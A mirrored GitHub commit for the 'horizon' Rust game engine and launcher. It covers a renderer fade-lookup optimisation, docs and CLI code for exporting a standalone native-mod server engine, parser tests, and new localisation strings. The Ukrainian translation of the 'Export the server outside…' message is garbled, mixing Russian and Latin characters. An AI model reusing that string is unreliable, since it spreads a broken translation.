mirror of
https://github.com/horizon-rust/horizon.git
synced 2026-11-09 17:19:15 -10:00
Merge remote-tracking branch 'origin/main' into refactor/stable-entity-ids
This commit is contained in:
commit
968a1b1475
16 files changed
+1118
-139
No files matched your search
@@ -959,6 +959,12 @@ pub struct Renderer {
|
||||
/// When each section was first uploaded (`RenderSection.uploadedTime`): kept across meshing
|
||||
/// it again, gone with its column. Sections that fade in over far terrain are not in it.
|
||||
section_uploaded: crate::fast_hash::FxHashMap<SectionKey, std::time::Instant>,
|
||||
/// When `section_uploaded` last gained a section: once the fade time has passed since,
|
||||
/// every section is whole and frames skip the per-section lookups.
|
||||
newest_upload: Option<std::time::Instant>,
|
||||
/// When a section last began to fade in over far terrain (`SectionGpu::fading`), for the
|
||||
/// same shortcut.
|
||||
newest_lod_fade: Option<std::time::Instant>,
|
||||
/// Changes whenever `block_entities` does (unique across renderers).
|
||||
block_entity_revision: u64,
|
||||
/// The light sources of each section and their revision, for `block_light`.
|
||||
@@ -3695,6 +3701,8 @@ impl Renderer {
|
||||
shadow_runs: page_runs::PageRuns::default(),
|
||||
block_entities: Default::default(),
|
||||
section_uploaded: Default::default(),
|
||||
newest_upload: None,
|
||||
newest_lod_fade: None,
|
||||
block_entity_revision: next_block_entity_revision(),
|
||||
light_blocks: Default::default(),
|
||||
light_revision: 0,
|
||||
@@ -4022,12 +4030,17 @@ impl Renderer {
|
||||
}
|
||||
let fading = match self.sections.find(key) {
|
||||
Some(old) => old.fading,
|
||||
None => (!self.lods.is_empty()).then(std::time::Instant::now),
|
||||
None if !self.lods.is_empty() => {
|
||||
let now = std::time::Instant::now();
|
||||
self.newest_lod_fade = Some(now);
|
||||
Some(now)
|
||||
}
|
||||
None => None,
|
||||
};
|
||||
if fading.is_none() {
|
||||
self.section_uploaded
|
||||
.entry(key)
|
||||
.or_insert_with(std::time::Instant::now);
|
||||
if fading.is_none() && !self.section_uploaded.contains_key(&key) {
|
||||
let now = std::time::Instant::now();
|
||||
self.section_uploaded.insert(key, now);
|
||||
self.newest_upload = Some(now);
|
||||
}
|
||||
self.release_section(key);
|
||||
let section = self
|
||||
@@ -4366,14 +4379,32 @@ impl Renderer {
|
||||
) -> impl Iterator<Item = &([i32; 3], u32)> {
|
||||
let fade = fade_millis(fade_seconds);
|
||||
let now = std::time::Instant::now();
|
||||
let all = !self.sections_fading_in(fade, now);
|
||||
self.block_entities
|
||||
.iter()
|
||||
.filter(move |(key, _)| {
|
||||
chunk_visibility(self.section_elapsed_ms(**key, now), fade)
|
||||
all || chunk_visibility(self.section_elapsed_ms(**key, now), fade)
|
||||
>= CHUNK_VISIBILITY_THRESHOLD
|
||||
})
|
||||
.flat_map(|(_, blocks)| blocks)
|
||||
}
|
||||
/// Whether a section may still be fading in over `fade_ms` (vanilla's chunk fade): one was
|
||||
/// uploaded more recently than that. Otherwise every section is whole.
|
||||
fn sections_fading_in(&self, fade_ms: u64, now: std::time::Instant) -> bool {
|
||||
fade_ms > 0
|
||||
&& self
|
||||
.newest_upload
|
||||
.is_some_and(|t| (now.saturating_duration_since(t).as_millis() as u64) < fade_ms)
|
||||
}
|
||||
/// Whether a section may be fading in or out over far terrain (`SectionGpu::fade`):
|
||||
/// otherwise every section's code is 0.
|
||||
fn sections_fading_over_lods(&self, now: std::time::Instant) -> bool {
|
||||
!self.lod_retiring.is_empty()
|
||||
|| !self.lod_leaving.is_empty()
|
||||
|| self
|
||||
.newest_lod_fade
|
||||
.is_some_and(|t| now.saturating_duration_since(t) < lod::FADE)
|
||||
}
|
||||
/// Milliseconds since `key` was uploaded; a section not in `section_uploaded` is old.
|
||||
fn section_elapsed_ms(&self, key: SectionKey, now: std::time::Instant) -> u64 {
|
||||
self.section_uploaded.get(&key).map_or(u64::MAX, |t| {
|
||||
@@ -4388,6 +4419,8 @@ impl Renderer {
|
||||
pub fn clear_sections(&mut self, layout: crate::chunk::ColumnLayout) {
|
||||
self.block_entities.clear();
|
||||
self.section_uploaded.clear();
|
||||
self.newest_upload = None;
|
||||
self.newest_lod_fade = None;
|
||||
self.block_entity_revision = next_block_entity_revision();
|
||||
self.sections.clear();
|
||||
self.lods.clear();
|
||||
@@ -5802,11 +5835,21 @@ impl Renderer {
|
||||
}
|
||||
self.origins.clear();
|
||||
let (sections, retiring) = (&self.sections, &self.lod_retiring);
|
||||
// `LevelRenderer.extractSectionDrawGroups`: each section's `getVisibility`.
|
||||
// `LevelRenderer.extractSectionDrawGroups`: each section's `getVisibility`. Once
|
||||
// nothing is fading (the usual frame), every section is whole without a lookup.
|
||||
let fade_ms = fade_millis(frame.chunk_fade);
|
||||
let fading_in = self.sections_fading_in(fade_ms, now);
|
||||
let fading_over_lods = self.sections_fading_over_lods(now);
|
||||
let fade_code = move |section: &SectionGpu, key: &SectionKey| {
|
||||
if fading_over_lods {
|
||||
section.fade(now, retiring.contains(key))
|
||||
} else {
|
||||
0
|
||||
}
|
||||
};
|
||||
let uploaded = &self.section_uploaded;
|
||||
let visibility = |key: SectionKey| {
|
||||
if fade_ms == 0 {
|
||||
let visibility = move |key: SectionKey| {
|
||||
if !fading_in {
|
||||
return 1.0;
|
||||
}
|
||||
uploaded.get(&key).map_or(1.0, |t| {
|
||||
@@ -5820,7 +5863,7 @@ impl Renderer {
|
||||
visible
|
||||
.iter()
|
||||
.map(|v| {
|
||||
let code = sections.get(v.slot).fade(now, retiring.contains(&v.key));
|
||||
let code = fade_code(sections.get(v.slot), &v.key);
|
||||
section_instance(v.origin, code, visibility(v.key))
|
||||
})
|
||||
.chain(visible_lods.iter().map(|v| lod::instance(v.origin, v.fade)))
|
||||
@@ -6456,7 +6499,7 @@ impl Renderer {
|
||||
{
|
||||
// They read translucent quads in the section arena (`translucent_split`).
|
||||
debug_assert!(self.translucent_arena.is_none(), "flat draws, split");
|
||||
let (sections, retiring) = (&self.sections, &self.lod_retiring);
|
||||
let sections = &self.sections;
|
||||
let lods = &self.lods;
|
||||
let sorted = &self.sorted_indices;
|
||||
let phase2 = self.cull.as_ref().filter(|_| culling).map(|c| &c.phase2);
|
||||
@@ -6476,7 +6519,7 @@ impl Renderer {
|
||||
.chain(&shadow_visible)
|
||||
.filter_map(|v| {
|
||||
let section = sections.get(v.slot);
|
||||
let code = section.fade(now, retiring.contains(&v.key));
|
||||
let code = fade_code(section, &v.key);
|
||||
Some((
|
||||
section.flat_id?,
|
||||
section_instance(v.origin, code, visibility(v.key)),
|
||||
|
||||
@@ -222,6 +222,21 @@ Already have a vanilla server? Run `horizon-server init` in its folder, or `hori
|
||||
server.properties` to write `server.toml` from it. The world, `ops.json`, `whitelist.json` and the ban lists
|
||||
keep vanilla's names and formats, so going back to vanilla works too.
|
||||
|
||||
## Native server export
|
||||
|
||||
A native-mods build exports a standalone engine
|
||||
(`horizon-launcher native-build FOLDER --server-output DIR --version TAG --trust-native-code`;
|
||||
see [Native mods](native-mods.md#standalone-server-export)). Point the server at it:
|
||||
|
||||
horizon-server --dir SERVER config set engine.path=/absolute/export/horizon-engine
|
||||
horizon-server --dir SERVER restart
|
||||
|
||||
Use the absolute engine path printed by the build. Build on the same OS and architecture as the server
|
||||
(no cross compilation), using a prepared installed launcher release. Updates do not rebuild a pinned `engine.path`: build a new
|
||||
export folder, set `engine.path` to it, restart, and keep the old folder for manual rollback. The supervisor does
|
||||
not auto-update or rebuild a pinned engine path, and there is no compatibility handshake yet (follow-up #6304).
|
||||
Native mods run unsandboxed: only build code you have read and trust.
|
||||
|
||||
### Behind a Velocity proxy
|
||||
|
||||
A network can put one Velocity proxy in front of several servers: the proxy signs the players in with their
|
||||
|
||||
+49
-1
@@ -1126,7 +1126,55 @@ each was built or last used): switching a mod off and on again plays the kept bu
|
||||
- **Single player and LAN host:** the mods run in the host's game and its integrated server, so a server-side
|
||||
hook applies to every player of the world.
|
||||
- **Joining a server:** only client-side hooks do anything; the protocol is unchanged.
|
||||
- **Dedicated servers:** native mods are not built yet. Lifecycle hook call sites are ready for when the pipeline builds them (`--no-default-features`).
|
||||
- **Dedicated server:** native mods run in a standalone engine export built with `--server-output`, not in an
|
||||
instance build (`--server-output` conflicts with `--instance` and needs an explicit mod `FOLDER`). See
|
||||
[Standalone server export](#standalone-server-export).
|
||||
|
||||
### Standalone server export
|
||||
|
||||
`horizon-launcher native-build FOLDER --server-output DIR --version TAG --trust-native-code [--profile fast|release] [--allow-version-mismatch]`
|
||||
|
||||
Builds a standalone dedicated-server engine into `DIR`, which must not exist yet. `FOLDER` (a mod folder or a
|
||||
folder of them) is required; no instance is read, selected, edited or played, and no launcher config is written.
|
||||
It reuses the pinned toolchain, source and horizon-mixins and compiles `--no-default-features` (no audio or
|
||||
controllers), keeping the mods feature when the revision has it. `--version` pins the Horizon release/Nightly the
|
||||
export reuses (explicit for reproducibility). The export holds the built `horizon-engine` executable, prepared resources,
|
||||
`native-data/` and `native-mods.json`, and prints its absolute path. It runs on the same OS/architecture as the
|
||||
host only (no cross compilation), needs a prepared installed launcher base release, and survives cache pruning
|
||||
because it is copied outside the managed folders. On Windows use the printed `horizon-engine.exe` path.
|
||||
|
||||
Point a server at it:
|
||||
|
||||
horizon-server --dir SERVER config set engine.path=/absolute/export/horizon-engine
|
||||
horizon-server --dir SERVER restart
|
||||
|
||||
Updates do not rebuild a pinned `engine.path`: build a new export folder, set `engine.path` to it, restart, and keep
|
||||
the old folder for manual rollback. The supervisor does not auto-update or rebuild a pinned engine path, and there
|
||||
is no compatibility handshake yet (shared server build crate / native config / updates / handshake are follow-up
|
||||
#6304, not implemented). Native mods run unsandboxed: only build code you have read and trust.
|
||||
`--trust-native-code` records the operator's decision; an agent must not supply that consent.
|
||||
|
||||
### Developer acceptance workflow
|
||||
|
||||
Use a disposable server folder and fresh homes when developing:
|
||||
|
||||
```sh
|
||||
SCRATCH=$(mktemp -d)
|
||||
export HORIZON_HOME="$SCRATCH/game" HORIZON_LAUNCHER_HOME="$SCRATCH/launcher"
|
||||
export XDG_DATA_HOME="$SCRATCH/data" XDG_CONFIG_HOME="$SCRATCH/config"
|
||||
export HORIZON_NO_AUDIO=1 HORIZON_LAUNCHER_NO_SELF_UPDATE=1
|
||||
export HORIZON_LAUNCHER_TRASH="$SCRATCH/trash"
|
||||
export HORIZON_LAUNCHER_CLIPBOARD="$SCRATCH/clipboard"
|
||||
export HORIZON_LAUNCHER_DESKTOP="$SCRATCH/desktop"
|
||||
```
|
||||
|
||||
Install and prepare the base release in that scratch launcher home first, then test your own licensed bundle:
|
||||
|
||||
1. `horizon-launcher native-build bundle/ --server-output $ENGINE --version TAG --trust-native-code` (scratch homes,
|
||||
`HORIZON_NO_AUDIO=1`, `HORIZON_LAUNCHER_NO_SELF_UPDATE=1`).
|
||||
2. `horizon-server --dir SERVER config set engine.path=$ENGINE/horizon-engine`; `horizon-server --dir SERVER run`.
|
||||
3. Join with the same mod's client half where the hook needs one; test lifecycle, tick, command and net hooks.
|
||||
4. Headless compatibility: the mod's server code must not require an audio device; run the server audio-free (`HORIZON_NO_AUDIO=1`).
|
||||
|
||||
## Left to do
|
||||
|
||||
|
||||
+11
-1
@@ -778,5 +778,15 @@
|
||||
"tweaks": "Anpassungen",
|
||||
"utility": "Werkzeuge",
|
||||
"vanilla like": "Vanilla-ähnlich",
|
||||
"worldgen": "Weltgenerierung"
|
||||
"worldgen": "Weltgenerierung",
|
||||
"No version is installed yet.": "Noch keine Version installiert.",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} Sie bauen oft trotzdem: übergib --allow-version-mismatch, um es zu versuchen.",
|
||||
"Built the server engine: {path}": "Server-Engine gebaut: {path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "Zeige den Server auf diese Datei: Setze engine.path darauf in der server.toml des Servers (docs/hosting.md); der Launcher schreibt selbst nichts.",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} existiert bereits. Verschieben Sie es, oder bauen Sie in einen anderen Ordner.",
|
||||
"Choose a new folder for the server export.": "Wählen Sie einen neuen Ordner für den Server-Export.",
|
||||
"Export the server outside the launcher's managed folders.": "Exportiere den Server außerhalb der vom Launcher verwalteten Ordner.",
|
||||
"{path} is not a folder to build into.": "{path} ist kein Ordner, in den gebaut wird.",
|
||||
"Could not copy the build: {error}": "Build konnte nicht kopiert werden: {error}",
|
||||
"Could not move the build to {path}: {error}": "Build konnte nicht nach {path} verschoben werden: {error}"
|
||||
}
|
||||
+11
-1
@@ -778,5 +778,15 @@
|
||||
"tweaks": "Ajustes",
|
||||
"utility": "Utilidad",
|
||||
"vanilla like": "Estilo vanilla",
|
||||
"worldgen": "Generación de mundo"
|
||||
"worldgen": "Generación de mundo",
|
||||
"No version is installed yet.": "Aún no hay ninguna versión instalada.",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} A menudo aún se compilan: pasa --allow-version-mismatch para intentar.",
|
||||
"Built the server engine: {path}": "Motor del servidor construido: {path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "Apunta el servidor a este archivo: establece engine.path en el server.toml del servidor (docs/hosting.md); el launcher no escribe nada por sí mismo.",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} ya existe. Mueve el archivo, o compila en otra carpeta.",
|
||||
"Choose a new folder for the server export.": "Elija una nueva carpeta para la exportación del servidor.",
|
||||
"Export the server outside the launcher's managed folders.": "Exporte el servidor fuera de las carpetas administradas por el launcher.",
|
||||
"{path} is not a folder to build into.": "{path} no es una carpeta para compilar.",
|
||||
"Could not copy the build: {error}": "No se pudo copiar la compilación: {error}",
|
||||
"Could not move the build to {path}: {error}": "No se pudo mover la compilación a {path}: {error}"
|
||||
}
|
||||
+11
-1
@@ -778,5 +778,15 @@
|
||||
"tweaks": "Ajustements",
|
||||
"utility": "Utilitaire",
|
||||
"vanilla like": "Style Vanilla",
|
||||
"worldgen": "Génération du monde"
|
||||
"worldgen": "Génération du monde",
|
||||
"No version is installed yet.": "Aucune version n'est installée pour l'instant.",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} Ils se compilent souvent quand même : passez --allow-version-mismatch pour essayer.",
|
||||
"Built the server engine: {path}": "Moteur de serveur compilé : {path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "Pointez le serveur vers ce fichier : définissez engine.path dessus dans le server.toml du serveur (docs/hosting.md) ; le launcher n'écrit rien lui-même.",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} existe déjà. Déplacez-le, ou compilez dans un autre dossier.",
|
||||
"Choose a new folder for the server export.": "Choisissez un nouveau dossier pour l'export du serveur.",
|
||||
"Export the server outside the launcher's managed folders.": "Exportez le serveur en dehors des dossiers gérés par le launcher.",
|
||||
"{path} is not a folder to build into.": "{path} n'est pas un dossier dans lequel compiler.",
|
||||
"Could not copy the build: {error}": "Impossible de copier la compilation : {error}",
|
||||
"Could not move the build to {path}: {error}": "Impossible de déplacer la compilation vers {path} : {error}"
|
||||
}
|
||||
+11
-1
@@ -778,5 +778,15 @@
|
||||
"tweaks": "調整",
|
||||
"utility": "ユーティリティ",
|
||||
"vanilla like": "バニラ風",
|
||||
"worldgen": "地形生成"
|
||||
"worldgen": "地形生成",
|
||||
"No version is installed yet.": "まだバージョンがインストールされていません。",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} 多くの場合、それでもビルドできます:--allow-version-mismatch を渡して試してください。",
|
||||
"Built the server engine: {path}": "サーバーエンジンがビルドされました: {path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "サーバーを指定してください: サーバーの server.toml (docs/hosting.md) で engine.path をこのファイルに設定してください; ランチャー自身は何も書き込みません。",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} は既に存在しています。移動するか、別のフォルダーにビルドしてください。",
|
||||
"Choose a new folder for the server export.": "サーバーのエクスポート先となる新しいフォルダーを選択してください。",
|
||||
"Export the server outside the launcher's managed folders.": "ランチャーが管理するフォルダーの外にサーバーをエクスポートしてください。",
|
||||
"{path} is not a folder to build into.": "{path} はビルド先のフォルダーではありません。",
|
||||
"Could not copy the build: {error}": "ビルドをコピーできませんでした: {error}",
|
||||
"Could not move the build to {path}: {error}": "ビルドを {path} に移動できませんでした: {error}"
|
||||
}
|
||||
+11
-1
@@ -778,5 +778,15 @@
|
||||
"tweaks": "Poprawki",
|
||||
"utility": "Użytkowe",
|
||||
"vanilla like": "W stylu vanilla",
|
||||
"worldgen": "Generowanie świata"
|
||||
"worldgen": "Generowanie świata",
|
||||
"No version is installed yet.": "Nie zainstalowano jeszcze żadnej wersji.",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} Często nadal się kompilują: przekaż --allow-version-mismatch, aby spróbować.",
|
||||
"Built the server engine: {path}": "Zbudowano silnik serwera: {path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "Wskaż serwer na ten plik: ustaw engine.path w server.toml serwera (docs/hosting.md); launcher nic sam nie zapisuje.",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} już istnieje. Przenieś go, lub buduj do innego folderu.",
|
||||
"Choose a new folder for the server export.": "Wybierz nowy folder dla eksportu serwera.",
|
||||
"Export the server outside the launcher's managed folders.": "Eksportuj serwer poza foldery zarządzane przez launcher.",
|
||||
"{path} is not a folder to build into.": "{path} nie jest folderem do kompilacji.",
|
||||
"Could not copy the build: {error}": "Nie można skopiować kompilacji: {error}",
|
||||
"Could not move the build to {path}: {error}": "Nie można przenieść kompilacji do {path}: {error}"
|
||||
}
|
||||
@@ -778,5 +778,15 @@
|
||||
"tweaks": "Ajustes",
|
||||
"utility": "Utilitários",
|
||||
"vanilla like": "Estilo vanilla",
|
||||
"worldgen": "Geração de mundo"
|
||||
"worldgen": "Geração de mundo",
|
||||
"No version is installed yet.": "Nenhuma versão foi instalada ainda.",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} Eles geralmente ainda constroem: passe --allow-version-mismatch para tentar.",
|
||||
"Built the server engine: {path}": "Motor do servidor construído: {path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "Aponte o servidor para ele: defina engine.path como este arquivo no server.toml do servidor (docs/hosting.md); o launcher não escreve nada por si só.",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} já existe. Mova-o, ou crie o build em outra pasta.",
|
||||
"Choose a new folder for the server export.": "Escolha uma nova pasta para exportação do servidor.",
|
||||
"Export the server outside the launcher's managed folders.": "Exporte o servidor fora das pastas gerenciadas pelo launcher.",
|
||||
"{path} is not a folder to build into.": "{path} não é uma pasta para criação de build.",
|
||||
"Could not copy the build: {error}": "Não foi possível copiar o build: {error}",
|
||||
"Could not move the build to {path}: {error}": "Não foi possível mover o build para {path}: {error}"
|
||||
}
|
||||
+11
-1
@@ -778,5 +778,15 @@
|
||||
"tweaks": "Твики",
|
||||
"utility": "Утилиты",
|
||||
"vanilla like": "В стиле vanilla",
|
||||
"worldgen": "Генерация мира"
|
||||
"worldgen": "Генерация мира",
|
||||
"No version is installed yet.": "Пока не установлена ни одна версия.",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} Они часто всё равно собираются: передайте --allow-version-mismatch, чтобы попробовать.",
|
||||
"Built the server engine: {path}": "Серверный движок собран: {path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "Укажите серверу на этот файл: задайте engine.path в server.toml сервера (docs/hosting.md); лаунчер ничего сам не записывает.",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} уже существует. Переместите его, или соберите в другую папку.",
|
||||
"Choose a new folder for the server export.": "Выберите новую папку для экспорта сервера.",
|
||||
"Export the server outside the launcher's managed folders.": "Экспортируйте сервер вне управляемых лаунчером папок.",
|
||||
"{path} is not a folder to build into.": "{path} не является папкой для сборки.",
|
||||
"Could not copy the build: {error}": "Не удалось скопировать сборку: {error}",
|
||||
"Could not move the build to {path}: {error}": "Не удалось переместить сборку в {path}: {error}"
|
||||
}
|
||||
+11
-1
@@ -778,5 +778,15 @@
|
||||
"tweaks": "İnce ayarlar",
|
||||
"utility": "Yardımcı araçlar",
|
||||
"vanilla like": "Vanilla benzeri",
|
||||
"worldgen": "Dünya üretimi"
|
||||
"worldgen": "Dünya üretimi",
|
||||
"No version is installed yet.": "Henüz bir sürüm yüklenmemiş.",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} Bazen yine de derlenebilir: denemek için --allow-version-mismatch geçirin.",
|
||||
"Built the server engine: {path}": "Sunucu motoru derlendi: {path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "Sunucuyu buna işaret edin: sunucunun server.toml dosyasında (docs/hosting.md) engine.path'i bu dosya olarak ayarlayın; launcher kendisi hiçbir şey yazmaz.",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} zaten var. Taşıyın veya başka bir klasöre derleyin.",
|
||||
"Choose a new folder for the server export.": "Sunucu dışa aktarımı için yeni bir klasör seçin.",
|
||||
"Export the server outside the launcher's managed folders.": "Sunucuyu launcher tarafından yönetilen klasörlerin dışına aktarın.",
|
||||
"{path} is not a folder to build into.": "{path} derleme yapılacak klasör değil.",
|
||||
"Could not copy the build: {error}": "Build kopyalanamadı: {error}",
|
||||
"Could not move the build to {path}: {error}": "Build {path} konumuna taşınamadı: {error}"
|
||||
}
|
||||
+11
-1
@@ -778,5 +778,15 @@
|
||||
"tweaks": "Твіки",
|
||||
"utility": "Утиліти",
|
||||
"vanilla like": "В стилі vanilla",
|
||||
"worldgen": "Генерація світу"
|
||||
"worldgen": "Генерація світу",
|
||||
"No version is installed yet.": "Поки що жодна версія не встановлена.",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} Вони часто все одно збираються: передайте --allow-version-mismatch, щоб спробувати.",
|
||||
"Built the server engine: {path}": "Серверний движок зібрано: {path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "Вкажіть серверу на цей файл: задайте engine.path у server.toml сервера (docs/hosting.md); лаунчер нічого сам не записує.",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} вже існує. Перемістіть його, або збирайте в іншу папку.",
|
||||
"Choose a new folder for the server export.": "Оберіть нову папку для експорту сервера.",
|
||||
"Export the server outside the launcher's managed folders.": "Експортуйте сервер позаду папок, которыmi керує лаунчер.",
|
||||
"{path} is not a folder to build into.": "{path} не є папкою для збірки.",
|
||||
"Could not copy the build: {error}": "Не вдалося скопіювати збірку: {error}",
|
||||
"Could not move the build to {path}: {error}": "Не вдалося перемістити збірку у {path}: {error}"
|
||||
}
|
||||
+11
-1
@@ -778,5 +778,15 @@
|
||||
"tweaks": "调整",
|
||||
"utility": "实用工具",
|
||||
"vanilla like": "原版风格",
|
||||
"worldgen": "世界生成"
|
||||
"worldgen": "世界生成",
|
||||
"No version is installed yet.": "尚未安装任何版本。",
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.": "{error} 它们通常仍然可以构建:传递 --allow-version-mismatch 以尝试。",
|
||||
"Built the server engine: {path}": "服务器引擎已构建:{path}",
|
||||
"Point the server at it: set engine.path to this file in the server's server.toml (docs/hosting.md); the launcher writes nothing itself.": "指向服务器:在服务器的 server.toml (docs/hosting.md) 中将 engine.path 设置为此文件;启动器本身不写入任何内容。",
|
||||
"{path} already exists. Move it away, or build into another folder.": "{path} 已存在。移动它,或构建到另一个文件夹。",
|
||||
"Choose a new folder for the server export.": "为服务器导出选择一个新文件夹。",
|
||||
"Export the server outside the launcher's managed folders.": "将服务器导出到启动器管理的文件夹之外。",
|
||||
"{path} is not a folder to build into.": "{path} 不是可供构建的文件夹。",
|
||||
"Could not copy the build: {error}": "无法复制构建:{error}",
|
||||
"Could not move the build to {path}: {error}": "无法将构建移动到 {path}:{error}"
|
||||
}
|
||||
+168
-4
@@ -4,6 +4,7 @@ use clap::{Parser, Subcommand};
|
||||
use horizon_launcher::account::{self, Accounts};
|
||||
use horizon_launcher::backend::{self, Release};
|
||||
use horizon_launcher::github_mods;
|
||||
use horizon_launcher::i18n::{tr, trf};
|
||||
use horizon_launcher::instances;
|
||||
use horizon_launcher::loaders;
|
||||
use horizon_launcher::native_mods;
|
||||
@@ -768,6 +769,16 @@ enum Cmd {
|
||||
/// A mod folder (horizon-mixin.toml, or an unpacked .hnmod), or a folder of them
|
||||
/// (default: the native mods installed and turned on in the instance)
|
||||
folder: Option<PathBuf>,
|
||||
/// Export mode: build a standalone dedicated-server engine into this folder instead of
|
||||
/// an instance's build. Needs a mod FOLDER; no instance is read or changed, and no
|
||||
/// launcher config is written
|
||||
#[arg(
|
||||
long = "server-output",
|
||||
value_name = "DIR",
|
||||
conflicts_with = "instance",
|
||||
requires = "folder"
|
||||
)]
|
||||
server_output: Option<PathBuf>,
|
||||
/// The instance whose installed native mods to build, and which then plays the build
|
||||
/// (default: the selected one)
|
||||
#[arg(long)]
|
||||
@@ -1220,6 +1231,7 @@ fn execute(command: Cmd, as_json: bool) -> Result<(), String> {
|
||||
}
|
||||
Cmd::NativeBuild {
|
||||
folder,
|
||||
server_output,
|
||||
instance,
|
||||
version,
|
||||
update,
|
||||
@@ -1237,6 +1249,51 @@ fn execute(command: Cmd, as_json: bool) -> Result<(), String> {
|
||||
native_mods::Profile::from_setting(backend::Settings::load().native_release)
|
||||
}
|
||||
};
|
||||
let steps = |step: native_mods::Step| {
|
||||
let secs = started.elapsed().as_secs();
|
||||
eprintln!("[{:>2}:{:02}] {}", secs / 60, secs % 60, step.label())
|
||||
};
|
||||
if let Some(output) = server_output {
|
||||
// Export mode: a standalone server engine in `output`. No instance is read
|
||||
// or changed, and no launcher config is written; `folder` is required (clap).
|
||||
let folder = folder.unwrap();
|
||||
let base = match &version {
|
||||
Some(v) => backend::resolve_version(Some(v))?,
|
||||
// The instance's version is never looked at here: the newest installed
|
||||
// release or Nightly, or that one with `--update` (never a native build).
|
||||
None => native_mods::base_for(None, &backend::installed(), update)
|
||||
.ok_or_else(|| tr("No version is installed yet."))?,
|
||||
};
|
||||
let built = native_mods::build_server(
|
||||
&base,
|
||||
&folder,
|
||||
&output,
|
||||
allow_version_mismatch,
|
||||
profile,
|
||||
steps,
|
||||
)
|
||||
.map_err(|e| match e.starts_with(native_mods::MISMATCH) {
|
||||
true => trf(
|
||||
"{error} They often still build: pass --allow-version-mismatch to try.",
|
||||
&[("error", e.as_str())],
|
||||
),
|
||||
false => e,
|
||||
})?;
|
||||
let built = std::path::absolute(&built).unwrap_or(built);
|
||||
let path = built.display().to_string();
|
||||
println!(
|
||||
"{}",
|
||||
trf("Built the server engine: {path}", &[("path", &path)])
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
tr(
|
||||
"Point the server at it: set engine.path to this file in the server's \
|
||||
server.toml (docs/hosting.md); the launcher writes nothing itself."
|
||||
)
|
||||
);
|
||||
return Ok(());
|
||||
}
|
||||
let target = match &instance {
|
||||
Some(name) => instances::find(name)?,
|
||||
None => instances::selected(),
|
||||
@@ -1259,10 +1316,7 @@ fn execute(command: Cmd, as_json: bool) -> Result<(), String> {
|
||||
&target,
|
||||
allow_version_mismatch,
|
||||
profile,
|
||||
|step| {
|
||||
let secs = started.elapsed().as_secs();
|
||||
eprintln!("[{:>2}:{:02}] {}", secs / 60, secs % 60, step.label())
|
||||
},
|
||||
steps,
|
||||
)
|
||||
.map_err(|e| match e.starts_with(native_mods::MISMATCH) {
|
||||
true => {
|
||||
@@ -3689,4 +3743,114 @@ mod tests {
|
||||
.is_err()
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn native_build_export_mode_needs_a_folder_and_refuses_an_instance() {
|
||||
let parse = |args: &[&str]| {
|
||||
Cli::try_parse_from(
|
||||
[
|
||||
&["horizon-launcher", "native-build", "--trust-native-code"],
|
||||
args,
|
||||
]
|
||||
.concat(),
|
||||
)
|
||||
};
|
||||
// Export mode: a mod folder and an output folder.
|
||||
match parse(&["mods", "--server-output", "engine-out"])
|
||||
.unwrap()
|
||||
.command
|
||||
{
|
||||
Some(Cmd::NativeBuild {
|
||||
folder,
|
||||
server_output,
|
||||
instance,
|
||||
version,
|
||||
update,
|
||||
profile,
|
||||
..
|
||||
}) => {
|
||||
assert_eq!(folder.as_deref(), Some(Path::new("mods")));
|
||||
assert_eq!(server_output.as_deref(), Some(Path::new("engine-out")));
|
||||
assert_eq!(instance, None);
|
||||
assert_eq!(version, None);
|
||||
assert!(!update);
|
||||
assert_eq!(profile, None);
|
||||
}
|
||||
_ => panic!("expected native-build"),
|
||||
}
|
||||
// The mod folder is explicit in export mode: no default from an instance.
|
||||
assert!(parse(&["--server-output", "engine-out"]).is_err());
|
||||
// Export mode never touches an instance.
|
||||
assert!(parse(&["mods", "--server-output", "engine-out", "--instance", "A"]).is_err());
|
||||
// The options export mode keeps: an explicit version, the profile, mismatch; a version
|
||||
// and --update refuse each other, as in the game mode.
|
||||
match parse(&[
|
||||
"mods",
|
||||
"--server-output",
|
||||
"engine-out",
|
||||
"--version",
|
||||
"v2026.10.13",
|
||||
"--allow-version-mismatch",
|
||||
"--profile",
|
||||
"release",
|
||||
])
|
||||
.unwrap()
|
||||
.command
|
||||
{
|
||||
Some(Cmd::NativeBuild {
|
||||
version,
|
||||
update,
|
||||
allow_version_mismatch,
|
||||
profile,
|
||||
..
|
||||
}) => {
|
||||
assert_eq!(version.as_deref(), Some("v2026.10.13"));
|
||||
